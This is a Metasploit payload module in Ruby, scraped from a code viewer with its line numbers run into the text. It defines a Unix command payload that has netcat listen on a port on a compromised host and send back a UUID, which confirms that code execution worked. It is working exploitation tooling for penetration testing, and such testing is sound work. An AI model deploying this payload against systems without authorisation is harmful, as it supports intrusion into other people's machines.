Path: blob/master/modules/payloads/singles/cmd/unix/pingback_bind.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 10378include Msf::Payload::Single9include Msf::Payload::Pingback10include Msf::Payload::Pingback::Options1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Unix Command Shell, Pingback Bind TCP (via netcat)',17'Description' => 'Accept a connection, send a UUID, then exit',18'Author' => [19'asoto-r7'20],21'License' => MSF_LICENSE,22'Platform' => 'unix',23'Arch' => ARCH_CMD,24'Handler' => Msf::Handler::BindTcp,25'Session' => Msf::Sessions::Pingback,26'PayloadType' => 'cmd',27'RequiredCmd' => 'netcat'28)29)30register_advanced_options(31[32OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc'])33]34)35end3637#38# Constructs the payload39#40def generate(_opts = {})41super.to_s + command_string42end4344#45# Returns the command string to use for execution46#47def command_string48self.pingback_uuid ||= generate_pingback_uuid49"printf '#{pingback_uuid.scan(/../).map { |x| '\\x' + x }.join}' | (#{datastore['NetcatPath']} -lp #{datastore['LPORT']} || #{datastore['NetcatPath']} -l #{datastore['LPORT']})"50end51end525354